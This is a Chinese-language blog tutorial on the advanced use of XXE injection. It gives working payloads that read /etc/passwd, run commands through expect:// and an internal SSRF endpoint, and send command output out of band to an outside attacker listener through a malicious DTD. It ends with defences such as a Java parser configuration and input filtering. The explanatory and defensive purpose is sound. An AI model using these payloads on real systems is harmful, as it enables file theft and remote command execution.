导读:本期聚焦于小伙伴创作的《XML文件能够执行系统命令吗 XXE漏洞的高级利用》,敬请观看详情。很多开发者在使用XML处理数据时,会疑惑XML文件是否具备执行系统命令的能力。实际上正常情况下XML本身无法执行系统命令,但当存在XXE漏洞时,攻击者可以通过构造恶意XML payload实现系统命令执行。本文会先介绍XXE漏洞的基本原理,再讲解如何通过XXE漏洞实现系统命令执行的高阶利用方式,同时会给出对应的防御方案,帮助开发者理解漏洞危害并掌握防范方法,避免业务系统受到相关攻击。

XML文件本身是一种标记语言,用于数据存储和传输,默认情况下不具备执行系统命令的能力。但当XML解析器未正确配置,存在XXE(XML外部实体注入)漏洞时,攻击者可以通过构造包含恶意外部实体的XML内容,借助漏洞实现系统命令执行、文件读取等恶意操作,这属于XXE漏洞的高级利用场景。

XML文件能够执行系统命令吗 XXE漏洞的高级利用

XXE漏洞基础原理

XML外部实体是指在XML文档中通过<!ENTITY>声明定义的引用外部资源的实体,当XML解析器开启了外部实体解析功能,且没有对输入内容做校验时,攻击者就可以注入自定义外部实体,让解析器去加载攻击者指定的外部资源。

基础的XXE漏洞利用通常是读取服务器上的本地文件,比如读取/etc/passwd文件,基础的恶意XML payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

XXE执行系统命令的原理

要实现系统命令执行,需要借助具备命令执行能力的协议或者组件,常见的场景有以下几种:

  • 当服务器环境支持PHP的expect扩展时,可以使用expect://协议执行命令
  • 通过XXE结合SSRF漏洞,访问有命令执行功能的内网服务
  • 利用盲注XXE结合外部DTD,通过带外通道获取命令执行结果

利用expect协议执行命令

如果目标服务器的PHP环境安装了expect扩展,就可以直接在外部实体的SYSTEM值中使用expect://协议执行系统命令,恶意XML示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>

上述payload会让解析器执行id命令,命令执行结果会直接返回在XML响应内容中。不过expect扩展默认不会安装,所以该场景的利用条件相对苛刻。

结合SSRF执行内网服务命令

如果目标服务器没有expect扩展,但是存在可以访问的内网服务,且内网服务有命令执行接口,就可以通过XXE的file://或者http://协议发起SSRF请求,触发内网服务的命令执行功能。比如内网有一个存在命令注入的web服务,地址是192.168.0.1:8080/cmd?command=,恶意XML如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://192.168.0.1:8080/cmd?command=id">
]>
<foo>&xxe;</foo>

盲注XXE带外执行命令

如果XXE漏洞是盲注类型,也就是服务器不会直接返回XML解析结果,就需要通过带外通道(OOB)来获取命令执行的结果。攻击者可以搭建一个恶意DTD服务器,让目标服务器解析恶意XML时请求恶意DTD,再通过DTD让目标服务器把命令执行的结果发送到攻击者的监听服务器。恶意DTD内容如下:

<!ENTITY % file SYSTEM "expect://id">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ipipp.com:8080/?result=%file;'>">
%int;
%send;

对应的恶意XML payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://攻击者服务器地址/malicious.dtd">
    %remote;
]>
<foo></foo>

目标服务器解析上述XML时,会先加载恶意DTD,执行id命令,然后把命令结果拼接到请求参数中发送到攻击者的监听服务器,攻击者就可以在监听日志中获取到命令执行的结果。

XXE漏洞的防御方案

要避免XXE漏洞带来的系统命令执行风险,可以从以下几个层面进行防御:

  • 禁用XML解析器的外部实体解析功能,以Java为例,可以通过以下代码配置:
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
  • 对用户输入的XML内容进行严格校验,过滤掉<!DOCTYPE、<!ENTITY等关键字
  • 尽量使用JSON等更安全的格式替代XML进行数据传输,减少XML解析的使用场景
  • 及时更新XML解析组件版本,修复已知的安全漏洞

XXEXML系统命令执行漏洞利用修改时间:2026-06-13 07:21:18

免责声明:​ 已尽一切努力确保本网站所含信息的准确性。网站内容多为原创整理与精心编撰,观点力求客观中立。本站旨在免费分享,内容仅供个人学习、研究或参考使用。若引用了第三方作品,版权归原作者所有。如内容涉及您的权益,请联系我们处理。
内容垂直聚焦
专注技术核心技术栏目,确保每篇文章深度聚焦于实用技能。从代码技巧到架构设计,为用户提供无干扰的纯技术知识沉淀,精准满足专业提升需求。
知识结构清晰
覆盖从开发到部署的全链路。AI、前端、编程、数据库、服务器、建站、系统层层递进,构建清晰学习路径,帮助用户系统化掌握开发与运维所需的核心技术。
深度技术解析
拒绝泛泛而谈,深入技术细节与实践难点。无论是数据库优化还是服务器配置,均结合真实场景与代码示例进行剖析,致力于提供可直接应用于工作的解决方案。
专业领域覆盖
精准对应开发生命周期。从前端界面到后端编程,从数据库操作到服务器运维,形成完整闭环,一站式满足全栈工程师和运维人员的技术需求。
即学即用高效
内容强调实操性,步骤清晰、代码完整。用户可根据教程直接复现和应用于自身项目,显著缩短从学习到实践的距离,快速解决开发中的具体问题。
持续更新保障
专注既定技术方向进行长期、稳定的内容输出。确保各栏目技术文章持续更新迭代,紧跟主流技术发展趋势,为用户提供经久不衰的学习价值。